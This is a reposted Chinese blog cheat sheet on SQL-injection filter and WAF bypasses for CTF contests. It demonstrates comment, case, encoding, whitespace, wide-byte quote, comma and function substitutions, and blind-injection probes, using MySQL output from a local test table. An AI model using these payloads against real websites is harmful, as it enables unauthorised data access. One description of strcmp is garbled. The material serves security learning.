【轉(zhuǎn)】sql注入繞過方法總結(jié)

前言

SQL在CTF每一次比賽中基本上都會出現(xiàn),所以有了這一篇總結(jié),防忘,最后更新于2018/10/11。

簡而言之:SQL注入用戶輸入的數(shù)據(jù)變成了代碼被執(zhí)行

    string sql = "select id,no from user where id=" + id;

我們希望用戶輸入的 id 的值,僅僅是一個字符串,傳入數(shù)據(jù)庫執(zhí)行,但是當(dāng)輸入了: 2 or 1=1 時,其中的 or 1=1 是作為了 sql語句 來執(zhí)行的。

sql注入繞過

注釋符號繞過

常用的注釋符有

-- 注釋內(nèi)容
# 注釋內(nèi)容
/*注釋內(nèi)容*/
;

實例

mysql> select * from users -- where id = 1;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users # where id = 2;
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |

mysql> select * from users where id = 3 /*+1*/
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+
1 row in set (0.00 sec)

大小寫繞過

常用于 waf的正則對大小寫不敏感的情況,一般都是題目自己故意這樣設(shè)計。
例如:waf過濾了關(guān)鍵字select,可以嘗試使用Select等繞過。

mysql> select * from users where id = -1 union select 1,2,3
    -> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

#大小寫繞過
mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

內(nèi)聯(lián)注釋繞過

內(nèi)聯(lián)注釋就是把一些特有的僅在MYSQL上的語句放在 /*!...*/ 中,這樣這些語句如果在其它數(shù)據(jù)庫中是不會被執(zhí)行,但在MYSQL中會執(zhí)行。

mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

雙寫關(guān)鍵字繞過

在某一些簡單的waf中,將關(guān)鍵字select等只使用replace()函數(shù)置換為空,這時候可以使用雙寫關(guān)鍵字繞過。例如select變成seleselectct,在經(jīng)過waf的處理之后又變成select,達(dá)到繞過的要求。

特殊編碼繞過

  • 十六進(jìn)制繞過
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • ascii編碼繞過
    Test 等價于
    CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
    tip:好像新版mysql不能用了

空格過濾繞過

一般繞過空格過濾的方法有以下幾種方法來取代空格

/**/
()
回車(url編碼中的%0a)
`(tap鍵上面的按鈕)
tap
兩個空格

實例

mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+

#注意括號中不能含有*
mysql> select(id)from(users);
+----+
| id |
+----+
|  1 |
|  3 |

mysql> select
    -> *
    -> from 
    -> users
    -> where 
    -> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
|  1 |
+----+

過濾or and xor not 繞過

and = &&
or = ||
xor = | # 異或
not = !

過濾等號=繞過

  • 不加通配符like執(zhí)行的效果和=一致,所以可以用來繞過。

正常加上通配符的like

mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  3 | test3    | pass1    |
+----+----------+----------+

不加上通配符的like可以用來取代=

mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • rlike:模糊匹配,只要字段的值中存在要查找的 部分 就會被選擇出來
    用來取代=時,rlike的用法和上面的like一樣,沒有通配符效果和=一樣
mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • regexp:MySQL中使用 REGEXP 操作符來進(jìn)行正則表達(dá)式匹配
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • 使用大小于號來繞過
mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | user2    | pass1    |
+----+----------+----------+

  • <> 等價于 !=
    所以在前面再加一個!結(jié)果就是等號了
mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

等號繞過也可以使用strcmp(str1,str2)函數(shù)、between關(guān)鍵字等,具體可以參考后面的過濾大小于號繞過

過濾大小于號繞過

在sql盲注中,一般使用大小于號來判斷ascii碼值的大小來達(dá)到爆破的效果。但是如果過濾了大小于號的話,那就涼涼。怎么會呢,可以使用以下的關(guān)鍵字來繞過

  • greatest(n1, n2, n3…):返回n中的最大值
mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

  • least(n1,n2,n3…):返回n中的最小值

  • strcmp(str1,str2):若所有的字符串均相同,則返回STRCMP(),若根據(jù)當(dāng)前分類次序,第一個參數(shù)小于第二個,則返回 -1,其它情況返回 1

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)

  • in關(guān)鍵字
mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)

  • between a and b:范圍在a-b之間
mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+
1 row in set (0.00 sec)

使用between a and b判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
+----+----------+----------+

過濾引號繞過

  • 使用十六進(jìn)制
select column_name  from information_schema.tables where table_name=0x7573657273;

  • 寬字節(jié)

常用在web應(yīng)用使用的字符集為GBK時,并且過濾了引號,就可以試試寬字節(jié)。

# 過濾單引號時
%bf%27 %df%27 %aa%27

%df\’ = %df%5c%27=縗’

過濾逗號繞過

sql盲注時常用到以下的函數(shù):

  • substr()
    • substr(string, pos, len):從pos開始,取長度為len的子串
    • substr(string, pos):從pos開始,取到string的最后
  • substring()
    • 用法和substr()一樣
  • mid()
    • 用法和substr()一樣,但是mid()是為了向下兼容VB6.0,已經(jīng)過時,以上的幾個函數(shù)的pos都是從1開始的
  • left()和right()
    • left(string, len)和right(string, len):分別是從左或從右取string中長度為len的子串
  • limit
    • limit pos len:在返回項中從pos開始去len個返回值,pos的從0開始
  • ascii()和char()
    • ascii(char):把char這個字符轉(zhuǎn)為ascii碼
    • char(ascii_int):和ascii()的作用相反,將ascii碼轉(zhuǎn)字符

回到正題,如果waf過濾了逗號,并且只能盲注(盲注基本離不開逗號啊喂),在取子串的幾個函數(shù)中,有一個替代逗號的方法就是使用from pos for len,其中pos代表從pos個開始讀取len長度的子串
例如在substr()等函數(shù)中,常規(guī)的寫法是

mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str                  |
+----------------------+

  • 如果過濾了逗號,可以這樣使用from pos for len來取代
mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str                           |
+-------------------------------+
1 row in set (0.00 sec)

在sql盲注中,如果過濾逗號,以下參考下面的寫法繞過

mysql> select ascii(substr(database() from 1 for 1)) > 120;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 120 |
+----------------------------------------------+
|                                            0 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database() from 1 for 1)) > 110;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 110 |
+----------------------------------------------+
|                                            1 |
+----------------------------------------------+

  • 也可使用join關(guān)鍵字來繞過
mysql> select * from users  union select * from (select 1)a join (select 2)b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
|  1 | 2        | 3        |
+----+----------+----------+

其中的

union select * from (select 1)a join (select 2)b join(select 3)c

等價于

union select 1,2,3

  • 使用like關(guān)鍵字
    適用于substr()等提取子串的函數(shù)中的逗號
mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
|                             1 |
+-------------------------------+

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
|                1 |
+------------------+

mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
|                0 |
+------------------+

  • 使用offset關(guān)鍵字
    適用于limit中的逗號被過濾的情況
    limit 2,1等價于limit 1 offset 2
mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test3    | pass1    |
+----+----------+----------+

過濾函數(shù)繞過

  • sleep() -->benchmark()
mysql> select 12,23 and sleep(1);
+----+-----------------+
| 12 | 23 and sleep(1) |
+----+-----------------+
| 12 |               0 |
+----+-----------------+
1 row in set (1.00 sec)

# MySQL有一個內(nèi)置的BENCHMARK()函數(shù),可以測試某些特定操作的執(zhí)行速度。 
參數(shù)可以是需要執(zhí)行的次數(shù)和表達(dá)式。第一個參數(shù)是執(zhí)行次數(shù),第二個執(zhí)行的表達(dá)式
mysql> select 12,23 and benchmark(1000000000,1);
+----+--------------------------------+
| 12 | 23 and benchmark(1000000000,1) |
+----+--------------------------------+
| 12 |                              0 |
+----+--------------------------------+
1 row in set (4.61 sec)

  • ascii()–>hex()、bin()
    替代之后再使用對應(yīng)的進(jìn)制轉(zhuǎn)string即可
  • group_concat()–>concat_ws()
mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2                    |
+-----------------------------+
1 row in set (0.00 sec)

#第一個參數(shù)為分隔符
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2                    |
+------------------------------+

  • substr(),substring(),mid()可以相互取代, 取子串的函數(shù)還有l(wèi)eft(),right()
  • user() --> @@user、datadir–>@@datadir
  • ord()–>ascii():這兩個函數(shù)在處理英文時效果一樣,但是處理中文等時不一致。
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容